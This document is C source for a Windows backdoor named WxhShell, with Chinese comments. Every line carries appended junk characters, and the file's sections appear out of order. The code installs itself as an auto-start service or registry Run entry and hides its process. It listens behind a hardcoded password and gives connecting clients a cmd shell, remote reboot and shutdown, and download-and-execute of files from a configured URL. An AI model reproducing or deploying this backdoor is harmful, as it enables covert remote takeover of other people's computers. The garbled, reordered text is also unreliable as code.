    if(Boot(SHUTDOWN)) *b{lL5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )V/lRR&  
    else { ?67I|@^  
    closesocket(wsh); DjzBG*f/  
    ExitThread(0); \g1@A"  
    } T$8~9 qx  
    break; <?{}Bo0xG  
    } .^IhH|U  
  // 获取shell \u-e\w  
  case 's': { lO:{tV  
    CmdShell(wsh); &N_c-@2O  
    closesocket(wsh); 7QiCZcb\  
    ExitThread(0); xyjV dD\  
    break; nCMa$+  
  } z12But\<  
  // 退出 X5|/s::u  
  case 'x': {  5vF}F^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uBq3.+,x*  
    CloseIt(wsh); u\6]^T6  
    break; :+Q"MIU  
    } ;Fem<p)V  
  // 离开 za]p,bMX  
  case 'q': { q VdC?A|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V<V\0n!0  
    closesocket(wsh); .!8X]trEg  
    WSACleanup(); i;hc]fYb=K  
    exit(1); niHL/\7u  
    break; jJ"EGFa8  
        } s P4 ,S(+e  
  } "SU-^z  
  } e_c;D2' F  
f THun?Vn  
  // 提示信息 YATdGLTeq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9N D+w6"  
} )| x%o(n  
  } DGZY~(]  
@fH&(@  
  return; n?LIphc\  
} =8~R $z%  
YqSXi~.  
// shell模块句柄 r%,H*DOu  
int CmdShell(SOCKET sock)  _7#tgZyv  
{ I>%S4Z+o  
STARTUPINFO si; IiK(^:~%  
ZeroMemory(&si,sizeof(si)); #>:(#^Uu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CSL{Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y /:T(tk$  
PROCESS_INFORMATION ProcessInfo; $C05iD  
char cmdline[]="cmd"; L=HVdeE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |^PLZ>  
  return 0; $?)3&\)R  
} WTD49_px  
6Z7pztk  
// 自身启动模式 N~$Zeq=  
int StartFromService(void) ~kYqGH  
{ ~` \9Q  
typedef struct xe6_RO%  
{ %+xwk=%*  
  DWORD ExitStatus; r[v-?W'  
  DWORD PebBaseAddress; +~4bB$6*4)  
  DWORD AffinityMask; R@<_Hb;Aeb  
  DWORD BasePriority; [Yy\>  
  ULONG UniqueProcessId; -N7xO)  
  ULONG InheritedFromUniqueProcessId; k?HrD"k"  
}   PROCESS_BASIC_INFORMATION; }PFt  
&=-e`=qJ'6  
PROCNTQSIP NtQueryInformationProcess; ]`@]<6  
*F szGn<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O5^J!(.O\Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iTLW<wG  
{b,2;w}95  
  HANDLE             hProcess; MxgLzt Y  
  PROCESS_BASIC_INFORMATION pbi; Sn(l$wk=  
m(Y.X=EZr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -jVaS w t  
  if(NULL == hInst ) return 0; Be{/2jU%  
98A(jsj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dr6s ^}}~n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g8,?S6\nMz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {x[;5TM  
X7H'Uk9:  
  if (!NtQueryInformationProcess) return 0; `8Jq~u6_Z  
Vm~qk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /esVuz  
  if(!hProcess) return 0; >:jM}*dnL  
-MrtliepW*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E q=wdI  
zkh hN"bX  
  CloseHandle(hProcess); sOl>5:D6  
oSn! "<x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q sg/ V]  
if(hProcess==NULL) return 0; 5 o#<`_=J  
PEW4J{(W  
HMODULE hMod; xJ~ gT  
char procName[255]; `S\zqF<  
unsigned long cbNeeded; .kc"E  
I7fb}j`/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *#1y6^  
fVDDYo2\  
  CloseHandle(hProcess); I /On3"U%  
SE^j=1  
if(strstr(procName,"services")) return 1; // 以服务启动 j,C,5l=  
j0iAU1~_VX  
  return 0; // 注册表启动 |DE%SVZB  
} !/j,hO4Z4  
w; 4jx(  
// 主模块 iiX\it$s  
int StartWxhshell(LPSTR lpCmdLine) %kh#{*q$  
{ Q(510)  
  SOCKET wsl; iuC7Y|  
BOOL val=TRUE; 1~2R^#rm  
  int port=0; jg [H}  
  struct sockaddr_in door; sdJ%S*)5G$  
](W5.a,-$L  
  if(wscfg.ws_autoins) Install(); D XV@DQ  
7}4'dW.  
port=atoi(lpCmdLine); 7G5y)Qb  
0n:?sFY>  
if(port<=0) port=wscfg.ws_port; ?;|@T ty%  
b!0DH[XKV  
  WSADATA data; =&A!C"qK4[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :)#hrFp  
weAn&h|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *u>lx!g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <S1??  
  door.sin_family = AF_INET; -<qxO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :dP~.ZY7  
  door.sin_port = htons(port); SY-ez 91  
i;o}o *=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I^~=,D  
closesocket(wsl); l|YT[LR7  
return 1; $. %L  
} LY]nl3{E  
kE/`n],1U  
  if(listen(wsl,2) == INVALID_SOCKET) { 7J9l.cM3  
closesocket(wsl); Hm%g_Mt  
return 1; DY9fF4[9a  
} :{LAVMG&^  
  Wxhshell(wsl); 'LVn^TB_f&  
  WSACleanup(); \dRzS@l  
QyPg |#T2>  
return 0; X8/Tl \c  
]3*P:$Rq  
} ha*X6R  
~>V-*NT8  
// 以NT服务方式启动 $<B +K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VFv9Q2/.  
{ M`GP^Ta  
DWORD   status = 0; 5Go0}'*%  
  DWORD   specificError = 0xfffffff; Q48+O?&  
25:Z;J>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x# VyQ[ok  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wGvhB%8K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zJ9v%.e  
  serviceStatus.dwWin32ExitCode     = 0; ![ZmV  
  serviceStatus.dwServiceSpecificExitCode = 0; mjb { ~  
  serviceStatus.dwCheckPoint       = 0; ?d$"[lKX  
  serviceStatus.dwWaitHint       = 0; E\0X`QeY  
?O??cjiA@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nH@(Y&S  
  if (hServiceStatusHandle==0) return; m0|K#^  
;7Y[c}V1^  
status = GetLastError(); ) Qq'Wp3i  
  if (status!=NO_ERROR) W>B^S  
{ Ekv89swl`i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <I; 5wv  
    serviceStatus.dwCheckPoint       = 0; B2 c@kru  
    serviceStatus.dwWaitHint       = 0; GnFs63  
    serviceStatus.dwWin32ExitCode     = status; B'-I{~'/  
    serviceStatus.dwServiceSpecificExitCode = specificError; YOyp|%!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZK6Hvc0  
    return; o0ZIsrr  
  } ?aBj#  
mEFw|M{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yd:Q`#7A  
  serviceStatus.dwCheckPoint       = 0; xCWz\-;  
  serviceStatus.dwWaitHint       = 0; n`(~O O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -4w%Iy  
} B^fT>1P  
t9FDU  
// 处理NT服务事件,比如:启动、停止 +2RNZEc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fW?sYC'  
{  ~,"N[Q  
switch(fdwControl) B8T\s)fxnX  
{ ju|]Qlek  
case SERVICE_CONTROL_STOP: 6;o3sf@Tf  
  serviceStatus.dwWin32ExitCode = 0; X\Y}oa."A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  G2`${aMS  
  serviceStatus.dwCheckPoint   = 0; BkawL,  
  serviceStatus.dwWaitHint     = 0; 3JO]f5  
  { }aF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `0bP0^w  
  } mN*?%t  
  return; ;I}'}  
case SERVICE_CONTROL_PAUSE: tdep|sD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A%u_&a}  
  break; 3J~0O2  
case SERVICE_CONTROL_CONTINUE: W @.Ji B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K R,z^9  
  break; O0T/#<Cn!  
case SERVICE_CONTROL_INTERROGATE: ~`qEWvPn  
  break; |7"$w%2  
}; @PI%FV z~p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  fRB5U'  
} +m)q%I>  
&]F3#^!^  
// 标准应用程序主函数 @MiH(.Dq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }4&/VvN  
{ P(,?#+]-  
qnChM ;)  
// 获取操作系统版本 `zA#z />  
OsIsNt=GetOsVer(); VT\ "q1)p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X|}2_B  
j.m(ltGh  
  // 从命令行安装 #Exp51  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;),"M{"v  
Es!Q8.  
  // 下载执行文件 &xXEnV  
if(wscfg.ws_downexe) { h|D0z_f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;W]\rft[  
  WinExec(wscfg.ws_filenam,SW_HIDE); +lE90y  
} yVX8e I  
D:"{g|nW}  
if(!OsIsNt) { GIyF81KR 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ),(V6@Z?  
HideProc(); /(hUfYm0  
StartWxhshell(lpCmdLine); iEm ?  
} E5</h"1  
else M5g\s;y;  
  if(StartFromService()) Z hd#:d  
  // 以服务方式启动 O hVs#^  
  StartServiceCtrlDispatcher(DispatchTable); CrC =A=e  
else dY(;]sxFr  
  // 普通方式启动 y7/F _{  
  StartWxhshell(lpCmdLine); j$Ab>}g]  
E{E0Z9t7&  
return 0; t)f-mQz)  
} k*?I>%^6#T  
"%qzj93>  
Jrxz'9qRG  
&@% $2O.3  
=========================================== Qm4o7x{q  
A1 "SLFY  
>R\lqLILb,  
l +*&:Q/  
cxIk<&i~(  
rx0~`cVV:  
" -' g*^  
a u7.4ln>Y  
#include <stdio.h> v&a4^s  
#include <string.h> z^<L(/rg9"  
#include <windows.h> bN$r k|  
#include <winsock2.h> \$sjrqKnu  
#include <winsvc.h> A9BX_9}]  
#include <urlmon.h> ,m_WR7!$E  
Lfog {Vzs  
#pragma comment (lib, "Ws2_32.lib") #]P9b@@e  
#pragma comment (lib, "urlmon.lib") 83%)/_&  
lf(`SYQnOY  
#define MAX_USER   100 // 最大客户端连接数 D^ Jk@<*  
#define BUF_SOCK   200 // sock buffer /FD5 G7ES  
#define KEY_BUFF   255 // 输入 buffer ?W>qUrZ  
qpIC{'A.  
#define REBOOT     0   // 重启 ntFT>g{B  
#define SHUTDOWN   1   // 关机 iOAbaPN  
sEMQ  
#define DEF_PORT   5000 // 监听端口 p]T<HGJ P  
+N`ua  
#define REG_LEN     16   // 注册表键长度 9h&R]yz;  
#define SVC_LEN     80   // NT服务名长度 LbEM^ D  
-m *Sq  
// 从dll定义API a.N{-2ptH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FMA6_fju4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zk-.u}RBFG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w| `h[/,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); js iSg/  
WHXj8*]6  
// wxhshell配置信息 ,#MCn  
struct WSCFG { 1W7% 1FA  
  int ws_port;         // 监听端口 %`Z+a.~U  
  char ws_passstr[REG_LEN]; // 口令 S*o[ZA   
  int ws_autoins;       // 安装标记, 1=yes 0=no ,XDRO./+T  
  char ws_regname[REG_LEN]; // 注册表键名 Gmwf4>"  
  char ws_svcname[REG_LEN]; // 服务名 *g?Po+ef%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7X@mSXis  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~t9tnLc$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8>hwK)av  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }\J2?Et{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IxLhU45  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q9Y9w(  
^nbnbU4'  
}; iQDx{m3]  
{|I;YDA  
// default Wxhshell configuration hGpv2>M  
struct WSCFG wscfg={DEF_PORT, y;_% W  
    "xuhuanlingzhe", Pj}6 6.  
    1, DL$@?.?I  
    "Wxhshell", :#@= B]  
    "Wxhshell", 7}M2bH} \K  
            "WxhShell Service", O T.*pk+<)  
    "Wrsky Windows CmdShell Service", '%q$` KDb  
    "Please Input Your Password: ", (L^]Lk x)  
  1, S$QG.K:<!  
  "http://www.wrsky.com/wxhshell.exe", i3rH'B -I.  
  "Wxhshell.exe" eek7=Z  
    }; |{CfWSB7~@  
8Z(Mvq]f&  
// 消息定义模块 : q#Xq;Wp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sI{ M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0 $,SF3K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZK>WW  
char *msg_ws_ext="\n\rExit."; 5[c^TJ3  
char *msg_ws_end="\n\rQuit."; n2iJ%_zp  
char *msg_ws_boot="\n\rReboot..."; ty8v 6J#  
char *msg_ws_poff="\n\rShutdown..."; ")d`dj\o  
char *msg_ws_down="\n\rSave to "; d_IAs  
&mb{.=  
char *msg_ws_err="\n\rErr!"; Y "/]|'p  
char *msg_ws_ok="\n\rOK!"; ~ 4kc/a  
#B4%|v;`E?  
char ExeFile[MAX_PATH]; :j+ ZI3@  
int nUser = 0; @`gk|W3  
HANDLE handles[MAX_USER]; iof-7{+3_  
int OsIsNt; q FAT]{{  
N;\'N ne  
SERVICE_STATUS       serviceStatus; l<A|d{"]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #{?qNl8F*J  
zAiXo__x  
// 函数声明 rx]  @A  
int Install(void); G K7![p  
int Uninstall(void); ? #fu.YE\  
int DownloadFile(char *sURL, SOCKET wsh); E{|W(z,  
int Boot(int flag); R6]Gk)5  
void HideProc(void); 6_FE4RR[  
int GetOsVer(void); EM[WK+9>I{  
int Wxhshell(SOCKET wsl); DQ r Y*nH  
void TalkWithClient(void *cs); RJd(~1  
int CmdShell(SOCKET sock); ))"6ern  
int StartFromService(void); [n :<8ho  
int StartWxhshell(LPSTR lpCmdLine); }hhGu\  
Y\No4w ^|d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); , GP?amh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HhvdqvIEG  
x^y'P<ypw  
// 数据结构和表定义 L U={")TdQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ]"?)Z  
{ sVOyT*GY  
{wscfg.ws_svcname, NTServiceMain}, |a Vn&qK  
{NULL, NULL} R=QZgpR  
};  |'B7v i)  
d>mo~  
// 自我安装 *-8&[D0  
int Install(void) Sy0$z39  
{ 9po3m]|zy  
  char svExeFile[MAX_PATH]; . QBF`Rz  
  HKEY key; #T'{ n1AI  
  strcpy(svExeFile,ExeFile); ++`0rY%  
0"f\@8r(  
// 如果是win9x系统,修改注册表设为自启动 G;l_|8<t#\  
if(!OsIsNt) { .oeX"6K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oU.R2\Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }f6HYU  
  RegCloseKey(key); oYH^_V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Ge"anO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z?R|Ok  
  RegCloseKey(key); !WQ-=0cm  
  return 0; -#N.X_F  
    } VgZsB$Ori  
  } U_I5fK =  
} ^f4s"T  
else { hYG6 pTCb  
kY-N>E:  
// 如果是NT以上系统,安装为系统服务 Z/Dx,zIR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;'#8tGv=  
if (schSCManager!=0) woGAf)vV#  
{ 0"28'  
  SC_HANDLE schService = CreateService 9 a!$z!.  
  ( 7%x[q}  
  schSCManager, ',JinE95  
  wscfg.ws_svcname, Ws|j#X<  
  wscfg.ws_svcdisp, 2{H@(Vgpbr  
  SERVICE_ALL_ACCESS, Dv5D~on{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #_^Lb]jkM  
  SERVICE_AUTO_START, e#$]Y?,  
  SERVICE_ERROR_NORMAL, j i7[nY  
  svExeFile, Lr~=^{  
  NULL, (ROY?5 @c  
  NULL, Y[}>CYO  
  NULL, #W4dkCd(pF  
  NULL, kuszb~`zPY  
  NULL Oi8.8M  
  ); |EX(8y  
  if (schService!=0) TJ6*t!'*X  
  { A>o *t=5  
  CloseServiceHandle(schService); 5K>3My#  
  CloseServiceHandle(schSCManager); <7/R,\Wg~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7QiIiWqIWC  
  strcat(svExeFile,wscfg.ws_svcname); \/zq7j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YIQ 4t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N"Zt47(  
  RegCloseKey(key); 0"  
  return 0; Nfrw0b  
    } "n(hfz0y%  
  } >UiYL}'br6  
  CloseServiceHandle(schSCManager); ^ *k?pJ5  
} jFL #s&ft  
} P}n_IV*@  
,Z&xNBX  
return 1; n|Q@UPb/=  
} Ezc?#<+7  
tE<H|_{L  
// 自我卸载 K*K,}W&}  
int Uninstall(void) D#cyOrzy  
{ RzE_K'M  
  HKEY key; saBVgSd  
]%@M>?Ywc  
if(!OsIsNt) { 4i)1'{e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %[Wh [zZy  
  RegDeleteValue(key,wscfg.ws_regname); C~,a!qY  
  RegCloseKey(key); ! >(7+B3E*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GfoLae  
  RegDeleteValue(key,wscfg.ws_regname); [8 ]z|bM  
  RegCloseKey(key); @\0ez<.p}  
  return 0; bnf'4PAt  
  } /?5 1D@  
} +Vb.lH[av  
} LDgrR[  
else { naG=Pq<  
>E;uU[v)I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \A 2r]  
if (schSCManager!=0) K[YI4pt7  
{ kCWV r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YxYH2*q@  
  if (schService!=0) >JHryS.j$4  
  { j4gF;-m<  
  if(DeleteService(schService)!=0) { N.,X<G.H  
  CloseServiceHandle(schService); `i3NG1 v0  
  CloseServiceHandle(schSCManager); q9KHmhUD  
  return 0; fInb[  
  } 0L2F[TN  
  CloseServiceHandle(schService); DR5\45v  
  } 36}?dRw#p  
  CloseServiceHandle(schSCManager); o4G?nvK-  
} CGW.I$u  
} SYAyk  
Pr':51(  
return 1; Q{sH3Y#l  
} #xsE3Wj-X  
aL+ o /  
// 从指定url下载文件 [M]  
int DownloadFile(char *sURL, SOCKET wsh) =upeRY@u5  
{ u^@f&BIG]:  
  HRESULT hr; }eCw6  
char seps[]= "/"; H%qsjB^  
char *token; 1gL2ia  
char *file; b|l:fT?&  
char myURL[MAX_PATH]; #^u$  
char myFILE[MAX_PATH]; eBZXI)pPh  
6 a(yp3  
strcpy(myURL,sURL); dI.WK@W'o  
  token=strtok(myURL,seps); w1Nm&}V  
  while(token!=NULL) g0xuxK;9c  
  { "h{q#~s  
    file=token; kj#?whK6~  
  token=strtok(NULL,seps); v|XTr,#  
  } ]l_\71  
%". HaI]  
GetCurrentDirectory(MAX_PATH,myFILE); [L3=x;U  
strcat(myFILE, "\\"); CM/H9Kz.  
strcat(myFILE, file); $O&b``  
  send(wsh,myFILE,strlen(myFILE),0); 9&-dTayIz  
send(wsh,"...",3,0); Sq>dt[7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DrKP%BnS  
  if(hr==S_OK) |HiE@  
return 0; y`Wty@  
else >:74%D0UF  
return 1; [owWiN4`s  
Ci@o|Y }tP  
} MK%9:wZ  
~qiJR`Jj  
// 系统电源模块 }*M6x;t  
int Boot(int flag) $t$ShT)  
{ y;35WtDVb  
  HANDLE hToken; [<lHCQXJ/  
  TOKEN_PRIVILEGES tkp; 5V?& 8GTe  
{% rA1g  
  if(OsIsNt) { 0IsPIi"7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .?8;qA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wcrCEX=I>{  
    tkp.PrivilegeCount = 1; -o ^7r@6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U$O\f18  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m ifxiV  
if(flag==REBOOT) { 3+)J @(a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3 ]5^r}  
  return 0; #3i3G(mQ  
} [;n9:Qxf  
else { +F R0(T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0at/c-K`  
  return 0; K^ vIUZ>  
} Kfbb)?  
  } u(z$fG:g  
  else { qk%;on&`  
if(flag==REBOOT) { ih58 <Up5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 66g9l9wm(  
  return 0; S5gyr&dm  
} Y z<3JRw  
else { {DV_* 5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \T4v|Pw\  
  return 0; y_* !6Xr  
} P{8iJ`rBG  
} Y>dF5&(kb  
/K+r? ]kf  
return 1; rJ`!:f  
} p)KheLiZ  
&y\prip  
// win9x进程隐藏模块 Gw}%{=D9  
void HideProc(void) Zd3S:),&  
{ 2Z+Wu3#  
xs{3pkTYD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]N~2 .h  
  if ( hKernel != NULL ) )1]ZtU  
  { 2i)^ !c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bg!/%[ {M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W,K;6TZhh  
    FreeLibrary(hKernel); hCi60%g/n  
  } _zR+i]9   
+Zb;Vn4  
return; (of#(I[m7  
} qrb[-|ie&  
!]"@kl%  
// 获取操作系统版本 sfpZc7  
int GetOsVer(void) Q)~aiI0  
{ b:U$x20n$  
  OSVERSIONINFO winfo; t;|@o\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xc =Y  
  GetVersionEx(&winfo); MU($|hwiL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _('=b/  
  return 1; .eS<Dbku<  
  else OC_+("N  
  return 0; zykT*V  
} hwPw]Ln/  
%41m~Wh2  
// 客户端句柄模块 Mer/G2#&  
int Wxhshell(SOCKET wsl) $[Sc0dzJ  
{ +cJL7=V&  
  SOCKET wsh; 8+~ >E  
  struct sockaddr_in client; wy<\Tg^J  
  DWORD myID; &yct!YOB2  
_?-E7:Sw  
  while(nUser<MAX_USER) j@AIK+0Qc  
{ 5GI,o|[s6  
  int nSize=sizeof(client); D@,6M#SK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BnX0G1|#  
  if(wsh==INVALID_SOCKET) return 1; S4Pxc ]!  
(9tX5$e6N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EGGWrl}1  
if(handles[nUser]==0) ~IY%  
  closesocket(wsh); j5(Z_dm'  
else {dhXIs  
  nUser++; _:ReN_0  
  } -Fi`Z$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wvq27YK'  
^-TE([bW  
  return 0; Giid~e33  
} S){)Z  
rF3wx.  
// 关闭 socket !eGC6o}f  
void CloseIt(SOCKET wsh) E:,/!9n  
{ sv2A-Dld  
closesocket(wsh); e|g5=2(Pr&  
nUser--; 2A']y D  
ExitThread(0); +=>,Pto<  
} M=8.Bp|Ye  
ZFi ee|,q  
// 客户端请求句柄 ](Xb _xMf  
void TalkWithClient(void *cs) %@<8<6&q  
{ ML}J\7R  
pf]xqhL  
  SOCKET wsh=(SOCKET)cs; ]l;o}+`G  
  char pwd[SVC_LEN]; m~w[~flgZ  
  char cmd[KEY_BUFF]; A9[ F  
char chr[1]; R#s )r  
int i,j; E7WK (  
>Ifr [  
  while (nUser < MAX_USER) { I:E`PZ  
%Si6]3-^@  
if(wscfg.ws_passstr) { To\QjP-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fh)IgzFj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 48J@C vU  
  //ZeroMemory(pwd,KEY_BUFF); ^gN6/>]qrY  
      i=0; @T@< _ ?)  
  while(i<SVC_LEN) { v>6"j1Z  
~Sdb_EZ  
  // 设置超时 0B[="rTS7#  
  fd_set FdRead; v|Pv 03%?7  
  struct timeval TimeOut; bYcV$KJk  
  FD_ZERO(&FdRead); R]JT&p|w.1  
  FD_SET(wsh,&FdRead); ,A9]CQ  
  TimeOut.tv_sec=8; hE &xE;  
  TimeOut.tv_usec=0; >d(~# Z`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EW}Bzh>b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ##q2mm:a9P  
q?Cnav`DY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gK+ 4C  
  pwd=chr[0]; @Y?#Sl*  
  if(chr[0]==0xd || chr[0]==0xa) { e- ~N"  
  pwd=0; AKY1o.>z  
  break; Mhm@R@  
  } w{{gu1#]G  
  i++; ,D5cjaX<  
    } d}Xr}  
fIM,lt  
  // 如果是非法用户,关闭 socket )n1_(;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /~DI 6g  
} fPU`/6  
O 5!7'RZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _;W.q7 b]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {k(g]#pP  
hMa]B*o/-  
while(1) { y>S.?H:P  
W}nlRbN?  
  ZeroMemory(cmd,KEY_BUFF);  50"pbzW  
>R|/M`<ph  
      // 自动支持客户端 telnet标准   n"$jG:A QJ  
  j=0; R%Hi+#/dr-  
  while(j<KEY_BUFF) { +[Dx?XM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u :}%xD6  
  cmd[j]=chr[0]; Y`KqEjsC*  
  if(chr[0]==0xa || chr[0]==0xd) { QfmJn((  
  cmd[j]=0; Dxtp2wu%t  
  break; pk>^?MO  
  } IWk4&yHUAu  
  j++; Lk|hQ  
    } !zBhbmlKt  
\h+AXs<j  
  // 下载文件 JX<)EZ!F  
  if(strstr(cmd,"http://")) { &g#@3e1>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y$;/Vm_'  
  if(DownloadFile(cmd,wsh)) []D&bYpv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t1]K<>g  
  else md+nj{Ib  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =-tw5], L  
  } Fzm*Pz3  
  else { 5b5x!do  
|Yx~;q:  
    switch(cmd[0]) { +u.1 ;qF  
